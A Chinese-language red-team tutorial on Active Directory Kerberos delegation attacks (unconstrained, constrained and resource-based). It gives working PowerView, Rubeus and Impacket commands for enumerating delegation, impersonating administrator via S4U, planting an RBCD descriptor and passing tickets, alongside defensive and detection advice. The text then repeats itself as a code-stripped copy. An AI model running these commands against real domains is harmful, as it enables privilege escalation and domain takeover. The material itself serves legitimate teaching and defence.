红队域渗透技术:委派攻击汇总(全)
字数 1232 2025-08-06 23:10:24

红队域渗透技术:委派攻击汇总

1. 委派基础概念

委派(Delegation)是Active Directory中的一项功能,允许服务代表用户访问其他服务资源。委派分为三种类型:

  1. 非约束委派(Unconstrained Delegation)
  2. 约束委派(Constrained Delegation)
  3. 基于资源的约束委派(Resource-based Constrained Delegation)

2. 非约束委派攻击

2.1 原理

非约束委派允许服务获取用户的TGT票据,然后可以模拟该用户访问网络中的任何服务。

2.2 攻击流程

  1. 发现非约束委派账户

    # 使用PowerView
    Get-NetUser -Unconstrained -Domain test.local
    Get-NetComputer -Unconstrained -Domain test.local
    
    # 使用ADModule
    Get-ADComputer -Filter {TrustedForDelegation -eq $true}
    Get-ADUser -Filter {TrustedForDelegation -eq $true}
    
  2. 利用非约束委派

    • 诱使域管理员访问配置了非约束委派的服务
    • 使用Rubeus监控内存中的TGT票据:
      Rubeus.exe monitor /interval:5 /filteruser:DC$
      
    • 或者直接请求TGS票据:
      Rubeus.exe asktgs /ticket:<base64_TGT> /service:ldap/dc.test.local /ptt
      

2.3 防御措施

  • 禁用不必要的非约束委派
  • 使用约束委派或基于资源的约束委派替代

3. 约束委派攻击

3.1 原理

约束委派限制服务只能代表用户访问特定的服务,需要配置msDS-AllowedToDelegateTo属性。

3.2 攻击流程

  1. 发现约束委派账户

    # 使用PowerView
    Get-DomainUser -TrustedToAuth
    Get-DomainComputer -TrustedToAuth
    
    # 使用ADModule
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
    
  2. 利用约束委派

    • 使用Rubeus通过S4U2Self和S4U2Proxy协议获取票据:
      Rubeus.exe s4u /user:websvc /rc4:<NTLM_hash> /impersonateuser:administrator /msdsspn:cifs/dc.test.local /ptt
      
      注意:这里应该是CIFS服务而非LDAP服务
  3. 利用机器账户Hash进行攻击

    • 如果拥有机器账户的Hash,可以代表任何用户请求针对配置服务的票据

3.3 防御措施

  • 限制约束委派配置
  • 监控异常票据请求
  • 使用基于资源的约束委派替代

4. 基于资源的约束委派攻击

4.1 原理

基于资源的约束委派(RBCD)允许资源所有者控制哪些账户可以委派给它。

4.2 攻击流程

  1. 前提条件

    • 对目标对象有WriteProperty权限
    • 拥有一个可控账户的密码或Hash
  2. 攻击步骤

    # 1. 创建一个新的机器账户
    Import-Module PowerView
    $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    New-MachineAccount -MachineAccount attacker -Password $pass -Domain test.local -DomainController dc.test.local
    
    # 2. 获取机器账户的SID
    $computer = Get-DomainComputer attacker -Properties objectsid
    $sid = $computer.objectsid
    
    # 3. 配置目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性
    $target = "dc.test.local"
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
    $SDbytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDbytes, 0)
    Get-DomainComputer $target | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes}
    
    # 4. 使用Rubeus获取票据
    Rubeus.exe s4u /user:attacker$ /rc4:<NTLM_hash_of_attacker$> /impersonateuser:administrator /msdsspn:cifs/dc.test.local /ptt
    

4.3 防御措施

  • 严格控制对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改权限
  • 监控新机器账户的创建
  • 定期审计委派配置

5. 工具使用

5.1 Rubeus常用命令

# 非约束委派监控
Rubeus.exe monitor /interval:5 /filteruser:DC$

# 约束委派利用
Rubeus.exe s4u /user:websvc /rc4:<NTLM_hash> /impersonateuser:administrator /msdsspn:cifs/dc.test.local /ptt

# 票据传递
Rubeus.exe ptt /ticket:<base64_ticket>

5.2 Impacket工具集

# 约束委派利用
getST.py -dc-ip 192.168.1.1 -spn cifs/dc.test.local -impersonate administrator test.local/websvc:password123

6. 检测与防御

6.1 检测方法

  1. 监控异常票据请求

    • 异常的S4U2Self请求
    • 高权限账户的票据请求
  2. 监控账户修改

    • 对msDS-AllowedToDelegateTo和msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改
  3. 监控新机器账户创建

6.2 防御建议

  1. 最小权限原则

    • 仅配置必要的委派
    • 使用基于资源的约束委派替代传统委派
  2. 定期审计

    • 审计所有委派配置
    • 审计高权限账户的委派
  3. 启用高级安全监控

    • 启用Kerberos服务票据请求日志
    • 监控异常认证活动

7. 总结

委派攻击是域渗透中的重要技术,攻击者可以利用配置不当的委派权限提升权限或横向移动。理解不同类型的委派及其攻击方法对于红队和蓝队都至关重要。防御的关键在于最小权限原则、定期审计和高级监控。

红队域渗透技术:委派攻击汇总 1. 委派基础概念 委派(Delegation)是Active Directory中的一项功能,允许服务代表用户访问其他服务资源。委派分为三种类型: 非约束委派(Unconstrained Delegation) 约束委派(Constrained Delegation) 基于资源的约束委派(Resource-based Constrained Delegation) 2. 非约束委派攻击 2.1 原理 非约束委派允许服务获取用户的TGT票据,然后可以模拟该用户访问网络中的任何服务。 2.2 攻击流程 发现非约束委派账户 : 利用非约束委派 : 诱使域管理员访问配置了非约束委派的服务 使用Rubeus监控内存中的TGT票据: 或者直接请求TGS票据: 2.3 防御措施 禁用不必要的非约束委派 使用约束委派或基于资源的约束委派替代 3. 约束委派攻击 3.1 原理 约束委派限制服务只能代表用户访问特定的服务,需要配置msDS-AllowedToDelegateTo属性。 3.2 攻击流程 发现约束委派账户 : 利用约束委派 : 使用Rubeus通过S4U2Self和S4U2Proxy协议获取票据: 注意:这里应该是CIFS服务而非LDAP服务 利用机器账户Hash进行攻击 : 如果拥有机器账户的Hash,可以代表任何用户请求针对配置服务的票据 3.3 防御措施 限制约束委派配置 监控异常票据请求 使用基于资源的约束委派替代 4. 基于资源的约束委派攻击 4.1 原理 基于资源的约束委派(RBCD)允许资源所有者控制哪些账户可以委派给它。 4.2 攻击流程 前提条件 : 对目标对象有WriteProperty权限 拥有一个可控账户的密码或Hash 攻击步骤 : 4.3 防御措施 严格控制对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改权限 监控新机器账户的创建 定期审计委派配置 5. 工具使用 5.1 Rubeus常用命令 5.2 Impacket工具集 6. 检测与防御 6.1 检测方法 监控异常票据请求 : 异常的S4U2Self请求 高权限账户的票据请求 监控账户修改 : 对msDS-AllowedToDelegateTo和msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改 监控新机器账户创建 6.2 防御建议 最小权限原则 : 仅配置必要的委派 使用基于资源的约束委派替代传统委派 定期审计 : 审计所有委派配置 审计高权限账户的委派 启用高级安全监控 : 启用Kerberos服务票据请求日志 监控异常认证活动 7. 总结 委派攻击是域渗透中的重要技术,攻击者可以利用配置不当的委派权限提升权限或横向移动。理解不同类型的委派及其攻击方法对于红队和蓝队都至关重要。防御的关键在于最小权限原则、定期审计和高级监控。